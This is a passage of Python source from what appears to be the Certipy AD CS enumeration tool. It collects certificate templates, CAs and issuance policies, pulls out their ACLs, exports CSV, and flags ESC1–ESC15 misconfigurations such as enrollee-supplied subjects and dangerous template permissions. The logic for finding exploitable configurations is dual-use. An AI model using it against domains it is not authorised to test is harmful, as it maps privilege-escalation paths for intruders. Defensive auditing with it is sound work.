oids_entries = {}\n\n # Process templates\n for template in templates:\n # Skip if only showing enabled templates and this one isn't\n if self.enabled and template.get(\"enabled\") is not True:\n continue\n\n # Get template vulnerabilities\n (vulnerabilities, remarks, enrollable_principals, acl_principals) = (\n self.get_template_vulnerabilities(template)\n )\n\n # Skip if only showing vulnerable templates and this one isn't\n if self.vuln and not vulnerabilities:\n continue\n\n # Create entry with properties and permissions\n entry = OrderedDict()\n entry = self.get_template_properties(template, entry)\n\n # Add permissions\n permissions = self.get_template_permissions(template)\n if permissions:\n entry[\"Permissions\"] = permissions\n\n # Add enrollable principals\n if enrollable_principals:\n entry[\"[+] User Enrollable Principals\"] = enrollable_principals\n\n # Add ACL principals\n if acl_principals:\n entry[\"[+] User ACL Principals\"] = acl_principals\n\n # Add vulnerabilities\n if vulnerabilities:\n entry[\"[!] Vulnerabilities\"] = vulnerabilities\n\n if remarks:\n entry[\"[*] Remarks\"] = remarks\n\n # Add entry to collection\n template_entries[len(template_entries)] = entry\n\n # Process CAs\n for ca in cas:\n # Create entry with properties and permissions\n entry = OrderedDict()\n entry = self.get_ca_properties(ca, entry)\n\n # Add permissions\n permissions = self.get_ca_permissions(ca)\n if permissions:\n entry[\"Permissions\"] = permissions\n\n # Add vulnerabilities\n (vulnerabilities, remarks, enrollable_principals, acl_principals) = (\n self.get_ca_vulnerabilities(ca)\n )\n\n # Add enrollable principals\n if acl_principals:\n entry[\"[+] User Enrollable Principals\"] = enrollable_principals\n\n # Add ACL principals\n if acl_principals:\n entry[\"[+] User ACL Principals\"] = acl_principals\n\n # Add vulnerabilities\n if vulnerabilities:\n entry[\"[!] Vulnerabilities\"] = vulnerabilities\n\n # Add CA certificate properties\n if remarks:\n entry[\"[*] Remarks\"] = remarks\n\n # Add entry to collection\n ca_entries[len(ca_entries)] = entry\n\n # Process OIDs if requested\n if self.oids:\n for oid in oids:\n # Get OID vulnerabilities\n (vulnerabilities, acl_principals) = self.get_oid_vulnerabilities(oid)\n\n # Skip if only showing vulnerable OIDs and this one isn't\n if self.vuln and not vulnerabilities:\n continue\n\n # Create entry with properties and permissions\n entry = OrderedDict()\n entry = self.get_oid_properties(oid, entry)\n\n # Add permissions\n permissions = self.get_oid_permissions(oid)\n if permissions:\n entry[\"Permissions\"] = permissions\n\n # Add ACL principals\n if acl_principals:\n entry[\"[+] User ACL Principals\"] = acl_principals\n\n # Add vulnerabilities\n if vulnerabilities:\n entry[\"[!] Vulnerabilities\"] = vulnerabilities\n\n # Add entry to collection\n oids_entries[len(oids_entries)] = entry\n\n # Build final output dictionary\n output = {}\n\n # Add CAs\n if not ca_entries:\n output[\"Certificate Authorities\"] = \"[!] Could not find any CAs\"\n else:\n output[\"Certificate Authorities\"] = ca_entries\n\n # Add templates\n if not template_entries:\n output[\"Certificate Templates\"] = (\n \"[!] Could not find any certificate templates\"\n )\n else:\n output[\"Certificate Templates\"] = template_entries\n\n # Add OIDs if requested\n if self.oids:\n if not oids_entries:\n output[\"Issuance Policies\"] = \"[!] Could not find any issuance policy\"\n else:\n output[\"Issuance Policies\"] = oids_entries\n\n return output\n\n def get_ca_output_for_csv(self, output: Dict[str, Any]) -> str:\n \"\"\"\n Convert Certificate Authority data to CSV format.\n\n This function transforms nested CA data into a flattened CSV format.\n It handles complex nested structures like permissions and web enrollment\n settings in a way that makes them readable in CSV format.\n\n Args:\n output: Dictionary containing CA data (from get_output_for_text_and_json)\n\n Returns:\n String containing CSV-formatted data\n \"\"\"\n # Column order for the CSV output (determines which fields to include and their order)\n column_order = [\n \"CA Name\",\n \"DNS Name\",\n \"Certificate Subject\",\n \"Certificate Serial Number\",\n \"Certificate Validity Start\",\n \"Certificate Validity End\",\n \"User Specified SAN\",\n \"Request Disposition\",\n \"Enforce Encryption for Requests\",\n \"Web Enrollment HTTP\",\n \"Web Enrollment HTTPS\",\n \"Channel Binding\",\n \"Owner\",\n \"Manage CA Principals\",\n \"Manage Certificates Principals\",\n \"[!] Vulnerabilities\",\n ]\n\n # Create CSV writer with semicolon delimiter and quote all fields\n csvfile = io.StringIO(newline=\"\")\n writer = csv.DictWriter(\n csvfile,\n fieldnames=column_order,\n extrasaction=\"ignore\", # Ignore fields not in column_order\n delimiter=\";\",\n quoting=csv.QUOTE_ALL,\n )\n\n # Write header row\n writer.writeheader()\n\n # Check if we have valid CA data\n if not isinstance(output.get(\"Certificate Authorities\"), dict):\n logging.warning(\"No certificate authority data available for CSV export\")\n return csvfile.getvalue()\n\n try:\n # Process each CA and flatten its structure\n ca_rows = [\n self._flatten_ca_data(output[\"Certificate Authorities\"][id_])\n for id_ in output[\"Certificate Authorities\"]\n ]\n\n # Write all rows to CSV\n writer.writerows(ca_rows)\n return csvfile.getvalue()\n\n except Exception as e:\n logging.error(f\"Error generating CA CSV data: {e}\")\n handle_error()\n return csvfile.getvalue()\n\n def _flatten_ca_data(self, ca_entry: Dict[str, Any]) -> Dict[str, str]:\n \"\"\"\n Flatten a nested CA dictionary for CSV output.\n\n Handles special cases like permissions dictionaries, web enrollment settings,\n and list values by converting them to appropriate string representations.\n\n Args:\n ca_entry: Dictionary containing CA data\n\n Returns:\n Flattened dictionary with string values suitable for CSV\n \"\"\"\n items = []\n\n # Process each field in the CA entry\n for key, value in ca_entry.items():\n # Handle web enrollment specially\n if key == \"Web Enrollment\" and isinstance(value, dict):\n # Extract HTTP status\n if (\n \"http\" in value\n and isinstance(value[\"http\"], dict)\n and \"enabled\" in value[\"http\"]\n ):\n http_status = \"Enabled\" if value[\"http\"][\"enabled\"] else \"Disabled\"\n items.append((\"Web Enrollment HTTP\", http_status))\n\n # Extract HTTPS status\n if \"https\" in value and isinstance(value[\"https\"], dict):\n if \"enabled\" in value[\"https\"]:\n https_status = (\n \"Enabled\" if value[\"https\"][\"enabled\"] else \"Disabled\"\n )\n items.append((\"Web Enrollment HTTPS\", https_status))\n\n # Extract channel binding status\n if \"channel_binding\" in value[\"https\"]:\n cb_status = \"Unknown\"\n if value[\"https\"][\"channel_binding\"] is True:\n cb_status = \"Enabled\"\n elif value[\"https\"][\"channel_binding\"] is False:\n cb_status = \"Disabled\"\n items.append((\"Channel Binding\", cb_status))\n\n # Handle permissions specially\n elif \"Permissions\" in key and isinstance(value, dict):\n # Process owner\n if \"Owner\" in value:\n items.append((\"Owner\", str(value[\"Owner\"])))\n\n # Process access rights\n if \"Access Rights\" in value and isinstance(\n value[\"Access Rights\"], dict\n ):\n access_rights = value[\"Access Rights\"]\n\n # Process Manage CA permissions\n if \"Manage CA\" in access_rights and isinstance(\n access_rights[\"Manage CA\"], list\n ):\n items.append(\n (\n \"Manage CA Principals\",\n \"\\n\".join(access_rights[\"Manage CA\"]),\n )\n )\n\n # Process Manage Certificates permissions\n if \"Manage Certificates\" in access_rights and isinstance(\n access_rights[\"Manage Certificates\"], list\n ):\n items.append(\n (\n \"Manage Certificates Principals\",\n \"\\n\".join(access_rights[\"Manage Certificates\"]),\n )\n )\n\n # Handle vulnerabilities specially\n elif \"[!] Vulnerabilities\" in key and isinstance(value, dict):\n vuln_list = [f\"{k}: {v}\" for k, v in value.items()]\n items.append((key, \"\\n\".join(vuln_list)))\n\n # Handle dictionaries (convert to \"key: value\" format)\n elif isinstance(value, dict):\n formatted_value = \", \".join([f\"{k}: {v}\" for k, v in value.items()])\n items.append((key, formatted_value))\n\n # Handle lists (join with newlines for better CSV reading)\n elif isinstance(value, list):\n items.append((key, \"\\n\".join(map(str, value))))\n\n # Handle simple values\n else:\n items.append((key, str(value) if value is not None else \"\"))\n\n return dict(items)\n\n def get_template_output_for_csv(self, output: Dict[str, Any]) -> str:\n \"\"\"\n Convert certificate template data to CSV format.\n\n This function transforms nested certificate templates data into a flattened CSV format.\n It handles complex nested structures like permissions and lists in a way that makes them\n readable in CSV format.\n\n Args:\n output: Dictionary containing certificate template data (from get_output_for_text_and_json)\n\n Returns:\n String containing CSV-formatted data\n\n Raises:\n ValueError: If certificate template data is malformed or missing\n \"\"\"\n # Column order for the CSV output (determines which fields to include and their order)\n column_order = [\n \"Template Name\",\n \"Display Name\",\n \"Certificate Authorities\",\n \"Enabled\",\n \"Client Authentication\",\n \"Enrollment Agent\",\n \"Any Purpose\",\n \"Enrollee Supplies Subject\",\n \"Certificate Name Flag\",\n \"Enrollment Flag\",\n \"Private Key Flag\",\n \"Extended Key Usage\",\n \"Requires Manager Approval\",\n \"Requires Key Archival\",\n \"Authorized Signatures Required\",\n \"Validity Period\",\n \"Renewal Period\",\n \"Minimum RSA Key Length\",\n \"Enrollment Permissions\",\n \"Owner\",\n \"Write Owner Principals\",\n \"Write Dacl Principals\",\n \"Write Property Principals\",\n \"[!] Vulnerabilities\",\n ]\n\n # Create CSV writer with semicolon delimiter and quote all fields\n csvfile = io.StringIO(newline=\"\")\n writer = csv.DictWriter(\n csvfile,\n fieldnames=column_order,\n extrasaction=\"ignore\", # Ignore fields not in column_order\n delimiter=\";\",\n quoting=csv.QUOTE_ALL,\n )\n\n # Write header row\n writer.writeheader()\n\n # Check if we have valid template data\n if not isinstance(output.get(\"Certificate Templates\"), dict):\n logging.warning(\"No certificate templates data available for CSV export\")\n return csvfile.getvalue()\n\n try:\n # Process each template and flatten its structure\n template_rows = [\n self._flatten_template_data(output[\"Certificate Templates\"][id_])\n for id_ in output[\"Certificate Templates\"]\n ]\n\n # Write all rows to CSV\n writer.writerows(template_rows)\n return csvfile.getvalue()\n\n except Exception as e:\n logging.error(f\"Error generating CSV data: {e}\")\n handle_error()\n return csvfile.getvalue()\n\n def _flatten_template_data(self, template_entry: Dict[str, Any]) -> Dict[str, str]:\n \"\"\"\n Flatten a nested template dictionary for CSV output.\n\n Handles special cases like permissions dictionaries, nested objects,\n and list values by converting them to appropriate string representations.\n\n Args:\n template_entry: Dictionary containing template data\n\n Returns:\n Flattened dictionary with string values suitable for CSV\n \"\"\"\n items = []\n\n # Process each field in the template\n for key, value in template_entry.items():\n # Handle permissions specially\n if \"Permissions\" in key and isinstance(value, dict):\n for section_name, section_data in value.items():\n if \"Enrollment Permissions\" in section_name:\n # Extract enrollment rights\n if (\n isinstance(section_data, dict)\n and \"Enrollment Rights\" in section_data\n ):\n items.append(\n (\n section_name,\n \"\\n\".join(section_data[\"Enrollment Rights\"]),\n )\n )\n elif \"Object Control Permissions\" in section_name:\n # Process each permission type\n for perm_name, principals in section_data.items():\n if isinstance(principals, list):\n items.append((perm_name, \"\\n\".join(principals)))\n else:\n items.append((perm_name, str(principals)))\n # Handle dictionaries (convert to \"key: value\" format)\n elif isinstance(value, dict):\n formatted_value = \", \".join([f\"{k}: {v}\" for k, v in value.items()])\n items.append((key, formatted_value))\n # Handle lists (join with newlines for better CSV reading)\n elif isinstance(value, list):\n items.append((key, \"\\n\".join(map(str, value))))\n # Handle simple values\n else:\n items.append((key, str(value) if value is not None else \"\"))\n\n return dict(items)\n\n # =========================================================================\n # Property Extraction Methods\n # =========================================================================\n\n def get_template_properties(\n self, template: LDAPEntry, template_properties: Optional[Dict[str, Any]] = None\n ) -> Dict[str, Any]:\n \"\"\"\n Extract template properties for output.\n\n Args:\n template: Certificate template\n template_properties: Optional existing properties dictionary\n\n Returns:\n Dictionary of template properties\n \"\"\"\n # Map of template properties to display names\n properties_map = {\n \"cn\": \"Template Name\",\n \"displayName\": \"Display Name\",\n \"cas\": \"Certificate Authorities\",\n \"enabled\": \"Enabled\",\n \"client_authentication\": \"Client Authentication\",\n \"enrollment_agent\": \"Enrollment Agent\",\n \"any_purpose\": \"Any Purpose\",\n \"enrollee_supplies_subject\": \"Enrollee Supplies Subject\",\n \"certificate_name_flag\": \"Certificate Name Flag\",\n \"enrollment_flag\": \"Enrollment Flag\",\n \"private_key_flag\": \"Private Key Flag\",\n \"extended_key_usage\": \"Extended Key Usage\",\n \"requires_manager_approval\": \"Requires Manager Approval\",\n \"requires_key_archival\": \"Requires Key Archival\",\n \"application_policies\": \"RA Application Policies\",\n \"authorized_signatures_required\": \"Authorized Signatures Required\",\n \"schema_version\": \"Schema Version\",\n \"validity_period\": \"Validity Period\",\n \"renewal_period\": \"Renewal Period\",\n \"msPKI-Minimal-Key-Size\": \"Minimum RSA Key Length\",\n \"whenCreated\": \"Template Created\",\n \"whenChanged\": \"Template Last Modified\",\n \"msPKI-Certificate-Policy\": \"Issuance Policies\",\n \"issuance_policies_linked_groups\": \"Linked Groups\",\n }\n\n # Create properties dictionary\n if template_properties is None:\n template_properties = OrderedDict()\n\n # Extract properties that exist\n for property_key, display_name in properties_map.items():\n property_value = template.get(property_key)\n if property_value is not None:\n template_properties[display_name] = property_value\n\n return template_properties\n\n def get_ca_properties(\n self, ca: LDAPEntry, ca_properties: Optional[Dict[str, Any]] = None\n ) -> Dict[str, Any]:\n \"\"\"\n Extract CA properties for output.\n\n Args:\n ca: Certificate authority\n ca_properties: Optional existing properties dictionary\n\n Returns:\n Dictionary of CA properties\n \"\"\"\n # Map of CA properties to display names\n properties_map = {\n \"name\": \"CA Name\",\n \"dNSHostName\": \"DNS Name\",\n \"cACertificateDN\": \"Certificate Subject\",\n \"serial_number\": \"Certificate Serial Number\",\n \"validity_start\": \"Certificate Validity Start\",\n \"validity_end\": \"Certificate Validity End\",\n \"web_enrollment\": \"Web Enrollment\",\n \"user_specified_san\": \"User Specified SAN\",\n \"request_disposition\": \"Request Disposition\",\n \"enforce_encrypt_icertrequest\": \"Enforce Encryption for Requests\",\n \"active_policy\": \"Active Policy\",\n \"disabled_extensions\": \"Disabled Extensions\",\n }\n\n # Create properties dictionary\n if ca_properties is None:\n ca_properties = OrderedDict()\n\n # Extract properties that exist\n for property_key, display_name in properties_map.items():\n property_value = ca.get(property_key)\n if property_value is not None:\n ca_properties[display_name] = property_value\n\n return ca_properties\n\n def get_oid_properties(\n self, oid: LDAPEntry, oid_properties: Optional[Dict[str, Any]] = None\n ) -> Dict[str, Any]:\n \"\"\"\n Extract OID properties for output.\n\n Args:\n oid: Issuance policy object\n oid_properties: Optional existing properties dictionary\n\n Returns:\n Dictionary of OID properties\n \"\"\"\n # Map of OID properties to display names\n properties_map = {\n \"cn\": \"Issuance Policy Name\",\n \"displayName\": \"Display Name\",\n \"templates\": \"Certificate Template(s)\",\n \"linked_group\": \"Linked Group\",\n }\n\n # Create properties dictionary\n if oid_properties is None:\n oid_properties = OrderedDict()\n\n # Extract properties that exist\n for property_key, display_name in properties_map.items():\n property_value = oid.get(property_key)\n if property_value is not None:\n oid_properties[display_name] = property_value\n\n return oid_properties\n\n # =========================================================================\n # Permission Extraction Methods\n # =========================================================================\n\n def get_template_permissions(self, template: LDAPEntry) -> Dict[str, Any]:\n \"\"\"\n Extract template permissions for output.\n\n Args:\n template: Certificate template\n\n Returns:\n Dictionary of template permissions\n \"\"\"\n security = CertificateSecurity(template.get(\"nTSecurityDescriptor\"))\n permissions = {}\n\n # Process enrollment permissions\n enrollment_permissions = {}\n enrollment_rights = []\n all_extended_rights = []\n\n for sid, rights in security.aces.items():\n # Skip admin principals if requested\n if self.hide_admins and is_admin_sid(sid):\n continue\n\n # Check for Enroll right\n has_enroll = (rights[\"rights\"] & ActiveDirectoryRights.EXTENDED_RIGHT) and (\n EXTENDED_RIGHTS_NAME_MAP[\"Enroll\"] in rights[\"extended_rights\"]\n )\n if has_enroll:\n enrollment_rights.append(self.connection.lookup_sid(sid).get(\"name\"))\n\n # Check for All-Extended-Rights\n has_all_rights = (\n rights[\"rights\"] & ActiveDirectoryRights.EXTENDED_RIGHT\n ) and (\n EXTENDED_RIGHTS_NAME_MAP[\"All-Extended-Rights\"]\n in rights[\"extended_rights\"]\n )\n if has_all_rights:\n all_extended_rights.append(self.connection.lookup_sid(sid).get(\"name\"))\n\n # Add enrollment rights\n if enrollment_rights:\n enrollment_permissions[\"Enrollment Rights\"] = enrollment_rights\n\n # Add all extended rights\n if all_extended_rights:\n enrollment_permissions[\"All Extended Rights\"] = all_extended_rights\n\n # Add enrollment permissions\n if enrollment_permissions:\n permissions[\"Enrollment Permissions\"] = enrollment_permissions\n\n # Process object control permissions\n object_control_permissions = {}\n\n # Add owner\n if not self.hide_admins or not is_admin_sid(security.owner):\n object_control_permissions[\"Owner\"] = self.connection.lookup_sid(\n security.owner\n ).get(\"name\")\n\n # Add rights mappings\n rights_mapping = [\n (CertificateRights.GENERIC_ALL, [], \"Full Control Principals\"),\n (CertificateRights.WRITE_OWNER, [], \"Write Owner Principals\"),\n (CertificateRights.WRITE_DACL, [], \"Write Dacl Principals\"),\n ]\n\n # Process write property permissions\n write_permissions = {}\n for sid, rights in security.aces.items():\n # Skip admin principals if requested\n if self.hide_admins and is_admin_sid(sid):\n continue\n\n # Get rights information\n extended_rights = rights[\"extended_rights\"]\n ad_rights = rights[\"rights\"]\n principal_name = self.connection.lookup_sid(sid).get(\"name\")\n\n # Check for each standard right type\n for right, principal_list, _ in rights_mapping:\n if right in ad_rights and (\n ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT\n ):\n principal_list.append(principal_name)\n\n # Check for write property rights\n can_write_property = (CertificateRights.WRITE_PROPERTY in ad_rights) and (\n ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT\n )\n if can_write_property:\n for extended_right in extended_rights:\n # Resolve extended right name\n resolved_right = EXTENDED_RIGHTS_MAP.get(\n extended_right, extended_right\n )\n\n # Add principal to the list for this right\n principal_list = write_permissions.get(resolved_right, [])\n if principal_name not in principal_list:\n principal_list.append(principal_name)\n write_permissions[resolved_right] = principal_list\n\n # Add write property rights\n for extended_right, principal_list in write_permissions.items():\n rights_mapping.append(\n (\n CertificateRights.WRITE_PROPERTY,\n principal_list,\n f\"Write Property {extended_right}\",\n )\n )\n\n # Add all rights to permissions\n for _, principal_list, name in rights_mapping:\n if principal_list:\n object_control_permissions[name] = principal_list\n\n # Add object control permissions\n if object_control_permissions:\n permissions[\"Object Control Permissions\"] = object_control_permissions\n\n return permissions\n\n def get_ca_permissions(self, ca: LDAPEntry) -> Dict[str, Any]:\n \"\"\"\n Extract CA permissions for output.\n\n Args:\n ca: Certificate authority\n\n Returns:\n Dictionary of CA permissions\n \"\"\"\n security = ca.get(\"security\")\n if security is None:\n return {}\n\n ca_permissions = {}\n access_rights = {}\n\n # Add owner\n if not self.hide_admins or not is_admin_sid(security.owner):\n ca_permissions[\"Owner\"] = self.connection.lookup_sid(security.owner).get(\n \"name\"\n )\n\n # Process ACEs\n for sid, rights in security.aces.items():\n # Skip admin principals if requested\n if self.hide_admins and is_admin_sid(sid):\n continue\n\n # Get principal name\n principal_name = self.connection.lookup_sid(sid).get(\"name\")\n\n # Get list of rights\n ca_rights = rights[\"rights\"].to_list()\n\n # Add each right to the access rights dictionary\n for ca_right in ca_rights:\n if ca_right not in access_rights:\n access_rights[ca_right] = [principal_name]\n else:\n access_rights[ca_right].append(principal_name)\n\n # Add access rights\n if access_rights:\n ca_permissions[\"Access Rights\"] = access_rights\n\n return ca_permissions\n\n def get_oid_permissions(self, oid: LDAPEntry) -> Dict[str, Any]:\n \"\"\"\n Extract OID permissions for output.\n\n Args:\n oid: Issuance policy object\n\n Returns:\n Dictionary of OID permissions\n \"\"\"\n nt_security_descriptor = oid.get(\"nTSecurityDescriptor\")\n if nt_security_descriptor is None:\n return {}\n\n security = IssuancePolicySecurity(nt_security_descriptor)\n\n oid_permissions = {}\n access_rights = {}\n\n # Add owner\n if not self.hide_admins or not is_admin_sid(security.owner):\n oid_permissions[\"Owner\"] = self.connection.lookup_sid(security.owner).get(\n \"name\"\n )\n\n # Process ACEs\n for sid, rights in security.aces.items():\n # Skip admin principals if requested\n if self.hide_admins and is_admin_sid(sid):\n continue\n\n # Get principal name\n principal_name = self.connection.lookup_sid(sid).get(\"name\")\n\n # Get list of rights\n oid_rights = rights[\"rights\"].to_list()\n\n # Add each right to the access rights dictionary\n for oid_right in oid_rights:\n if oid_right not in access_rights:\n access_rights[oid_right] = [principal_name]\n else:\n access_rights[oid_right].append(principal_name)\n\n # Add access rights\n if access_rights:\n oid_permissions[\"Access Rights\"] = access_rights\n\n return oid_permissions\n\n # =========================================================================\n # Vulnerability Detection Methods\n # =========================================================================\n\n def get_template_vulnerabilities(\n self, template: LDAPEntry\n ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]:\n \"\"\"\n Detect vulnerabilities in certificate templates.\n\n This method checks for various Enterprise Security Configuration (ESC) vulnerabilities:\n - ESC1: Client authentication template with enrollee-supplied subject\n - ESC2: Template that allows any purpose\n - ESC3: Template with Certificate Request Agent EKU or vulnerable configuration\n - ESC4: Template with dangerous permissions or owned by current user\n - ESC9: Template with no security extension\n - ESC13: Template linked to a group through issuance policy\n - ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019)\n\n Args:\n template: Certificate template to analyze\n\n Returns:\n Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals\n \"\"\"\n # Return cached vulnerabilities if already processed\n if template.get(\"vulnerabilities\"):\n return template.get(\"vulnerabilities\")\n\n vulnerabilities = {}\n remarks = {}\n enrollable_principals = []\n acl_principals = []\n user_can_enroll, enrollable_sids = self.can_user_enroll_in_template(template)\n is_enabled = template.get(\"enabled\", False)\n\n # Skip enrollment-based vulnerability checks if user can't enroll or\n # if template requires approval or signatures\n requires_approval = (\n template.get(\"requires_manager_approval\")\n or template.get(\"authorized_signatures_required\", 0) > 0\n )\n\n if is_enabled and user_can_enroll:\n enrollable_principals = self.format_principals(enrollable_sids)\n\n if not requires_approval:\n # ESC1: Client authentication with enrollee-supplied subject\n if template.get(\"enrollee_supplies_subject\") and template.get(\n \"client_authentication\"\n ):\n vulnerabilities[\"ESC1\"] = (\n f\"Enrollee supplies subject \"\n \"and template allows client authentication.\"\n )\n\n # ESC2: Any purpose template\n if template.get(\"any_purpose\"):\n vulnerabilities[\"ESC2\"] = f\"Template can be used for any purpose.\"\n\n # ESC3: Certificate Request Agent\n if template.get(\"enrollment_agent\"):\n vulnerabilities[\"ESC3\"] = (\n f\"Template has Certificate Request Agent EKU set.\"\n )\n\n # ESC9: No security extension\n if template.get(\"no_security_extension\") and template.get(\n \"client_authentication\"\n ):\n vulnerabilities[\"ESC9\"] = f\"Template has no security extension.\"\n remarks[\"ESC9\"] = (\n \"Other prerequisites may be required for this to be exploitable. See \"\n \"the wiki for more details.\"\n )\n\n # ESC13: Template with issuance policy linked to a group\n if (\n template.get(\"client_authentication\")\n and template.get(\"msPKI-Certificate-Policy\")\n and template.get(\"issuance_policies_linked_groups\")\n ):\n groups = template.get(\"issuance_policies_linked_groups\")\n if not isinstance(groups, list):\n groups = [groups]\n\n if len(groups) == 1:\n vulnerabilities[\"ESC13\"] = (\n f\"Template allows client authentication \"\n f\"and issuance policy is linked to group {groups[0]!r}.\"\n )\n else:\n vulnerabilities[\"ESC13\"] = (\n f\"Template allows client authentication \"\n f\"and issuance policy is linked to groups {groups!r}.\"\n )\n\n # ESC15: Schema v1 template with enrollee-supplied subject (CVE-2024-49019)\n if (\n template.get(\"enrollee_supplies_subject\")\n and template.get(\"schema_version\") == 1\n ):\n vulnerabilities[\"ESC15\"] = (\n f\"Enrollee supplies subject and \" \"schema version is 1.\"\n )\n remarks[\"ESC15\"] = (\n f\"Only applicable if the environment has not been patched. \"\n \"See CVE-2024-49019 or the wiki for more details.\"\n )\n\n # ESC2 Target: Schema v1 or requires Any Purpose signature\n if template.get(\"client_authentication\") and (\n template.get(\"schema_version\") == 1\n or (\n template.get(\"schema_version\") > 1\n and template.get(\"authorized_signatures_required\") > 0\n and template.get(\"application_policies\") is not None\n and \"Any Purpose\" in template.get(\"application_policies\")\n )\n ):\n reason = \"has schema version 1\"\n if template.get(\"schema_version\") != 1:\n reason = (\n \"requires a signature with the Any Purpose application policy\"\n )\n\n remarks[\"ESC2 Target Template\"] = (\n \"Template can be targeted as part of ESC2 exploitation. This is not a vulnerability \"\n f\"by itself. See the wiki for more details. Template {reason}.\"\n )\n\n # ESC3 Target: Schema v1 or requires Certificate Request Agent signature\n if template.get(\"client_authentication\") and (\n template.get(\"schema_version\") == 1\n or (\n template.get(\"schema_version\") > 1\n and template.get(\"authorized_signatures_required\") > 0\n and template.get(\"application_policies\") is not None\n and \"Certificate Request Agent\"\n in template.get(\"application_policies\")\n )\n ):\n reason = \"has schema version 1\"\n if template.get(\"schema_version\") != 1:\n reason = \"requires a signature with the Certificate Request Agent application policy\"\n\n remarks[\"ESC3 Target Template\"] = (\n \"Template can be targeted as part of ESC3 exploitation. This is not a vulnerability \"\n f\"by itself. See the wiki for more details. Template {reason}.\"\n )\n\n # ESC4: Template ownership or vulnerable ACL\n security = CertificateSecurity(template.get(\"nTSecurityDescriptor\"))\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n # Check if user owns the template\n if security.owner in user_sids:\n owner_name = self.connection.lookup_sid(security.owner).get(\"name\")\n acl_principals = [owner_name]\n vulnerabilities[\"ESC4\"] = f\"Template is owned by user.\"\n else:\n # Check for vulnerable permissions if not already owner\n has_vulnerable_acl, vulnerable_acl_sids = self.template_has_vulnerable_acl(\n template\n )\n acl_principals = self.format_principals(vulnerable_acl_sids)\n if has_vulnerable_acl:\n vulnerabilities[\"ESC4\"] = \"User has dangerous permissions.\"\n\n return (vulnerabilities, remarks, enrollable_principals, acl_principals)\n\n def template_has_vulnerable_acl(\n self, template: LDAPEntry\n ) -> Tuple[bool, List[str]]:\n \"\"\"\n Check if the template has vulnerable permissions for the current user.\n\n Args:\n template: Certificate template to analyze\n\n Returns:\n Tuple of (has_vulnerable_acl, list_of_vulnerable_sids)\n \"\"\"\n security = CertificateSecurity(template.get(\"nTSecurityDescriptor\"))\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n vulnerable_acl_sids = []\n has_vulnerable_acl = False\n\n # Check ACEs for vulnerable permissions\n for sid, rights in security.aces.items():\n # Skip if not related to current user\n if sid not in user_sids:\n continue\n\n ad_rights = rights[\"rights\"]\n ad_extended_rights = rights[\"extended_rights\"]\n\n # Check for dangerous permissions\n dangerous_rights = [\n CertificateRights.GENERIC_ALL,\n CertificateRights.WRITE_OWNER,\n CertificateRights.WRITE_DACL,\n CertificateRights.GENERIC_WRITE,\n ]\n\n if any(right in ad_rights for right in dangerous_rights):\n vulnerable_acl_sids.append(sid)\n has_vulnerable_acl = True\n continue\n\n # WRITE_PROPERTY is only dangerous if you can write the entire object\n if (\n CertificateRights.WRITE_PROPERTY in ad_rights\n and \"00000000-0000-0000-0000-000000000000\" in ad_extended_rights\n and ad_rights & ActiveDirectoryRights.EXTENDED_RIGHT\n ):\n vulnerable_acl_sids.append(sid)\n has_vulnerable_acl = True\n\n return has_vulnerable_acl, list(set(vulnerable_acl_sids)) # Deduplicate SIDs\n\n def can_user_enroll_in_template(\n self, template: LDAPEntry\n ) -> Tuple[bool, List[str]]:\n \"\"\"\n Check if the current user can enroll in the template.\n\n Args:\n template: Certificate template to analyze\n\n Returns:\n Tuple of (can_enroll, list_of_enrollable_sids)\n \"\"\"\n security = CertificateSecurity(template.get(\"nTSecurityDescriptor\"))\n user_sids = self.connection.get_user_sids(\n self.target.username, self.sid, self.dn\n )\n\n enrollable_sids = []\n user_can_enroll = False\n\n # Check ACEs for enrollment rights per MS-CRTD rules\n for sid, rights in security.aces.items():\n if sid not in user_sids:\n continue\n\n # Rule 1: ACCESS_ALLOWED_OBJECT_ACE with control access and ObjectType == Enroll GUID\n has_object_enroll = (\n EXTENDED_RIGHTS_NAME_MAP[\"Enroll\"] in rights[\"extended_rights\"]\n and rights[\"rights\"] & ActiveDirectoryRights.EXTENDED_RIGHT\n )\n\n # Preserve behavior: All-Extended-Rights also implies enrollment\n has_all_extended = (\n EXTENDED_RIGHTS_NAME_MAP[\"All-Extended-Rights\"]\n in rights[\"extended_rights\"]\n and rights[\"rights\"] & ActiveDirectoryRights.EXTENDED_RIGHT\n )\n\n # Rule 2: ACCESS_ALLOWED_ACE with control access bit set (0x00000100)\n # Captured by security parser as 'has_standard_control_access'\n has_standard_control_access = rights.get(\n \"has_standard_control_access\", False\n )\n\n if (\n has_object_enroll\n or has_all_extended\n or has_standard_control_access\n or (CertificateRights.GENERIC_ALL in rights[\"rights\"])\n ):\n enrollable_sids.append(sid)\n user_can_enroll = True\n\n return user_can_enroll, list(set(enrollable_sids)) # Deduplicate SIDs\n\n def get_ca_vulnerabilities(\n self, ca: LDAPEntry\n ) -> Tuple[Dict[str, str], Dict[str, str], List[str], List[str]]:\n \"\"\"\n Detect vulnerabilities in certificate authorities.\n\n This method checks for various Enterprise Security Configuration (ESC) vulnerabilities:\n - ESC6: CA allows user-specified SAN and auto-issues certificates\n - ESC7: CA with dangerous permissions\n - ESC8: Insecure web enrollment\n - ESC11: Unencrypted certificate requests\n\n Args:\n ca: Certificate authority to analyze\n\n Returns:\n Tuple of detected vulnerabilities, remarks, enrollable principals, and ACL principals\n \"\"\"\n # Return cached vulnerabilities if already processed\n if ca.get(\"vulnerabilities\"):\n return ca.get(\"vulnerabilities\")\n\n vulnerabilities = {}\n remarks = {}\n acl_principals = []\n request_disposition = ca.get(\"request_disposition\")\n will_issue = request_disposition in [\"Issue\", \"Unknown\"]\n user_can_enroll, enrollable_sids = self.can_user_enroll_in_ca(ca)\n\n enrollable_principals = self.format_principals(enrollable_sids)\n\n # ESC6: User-specified SAN with auto-issuance\n if ca.get(\"user_specified_san\") == \"Enabled\" and will_issue and user_can_enroll:\n vulnerabilities[\"ESC6\"] = \"Enrollee can specify SAN.\"\n remarks[\"ESC6\"] = (\n \"Other prerequisites may be required for this to be exploitable. See \"\n \"the wiki for more details.\"\n )\n\n policy = ca.get(\"active_policy\")\n if (\n policy\n and policy != \"CertificateAuthority_MicrosoftDefault.Policy\"\n and policy != 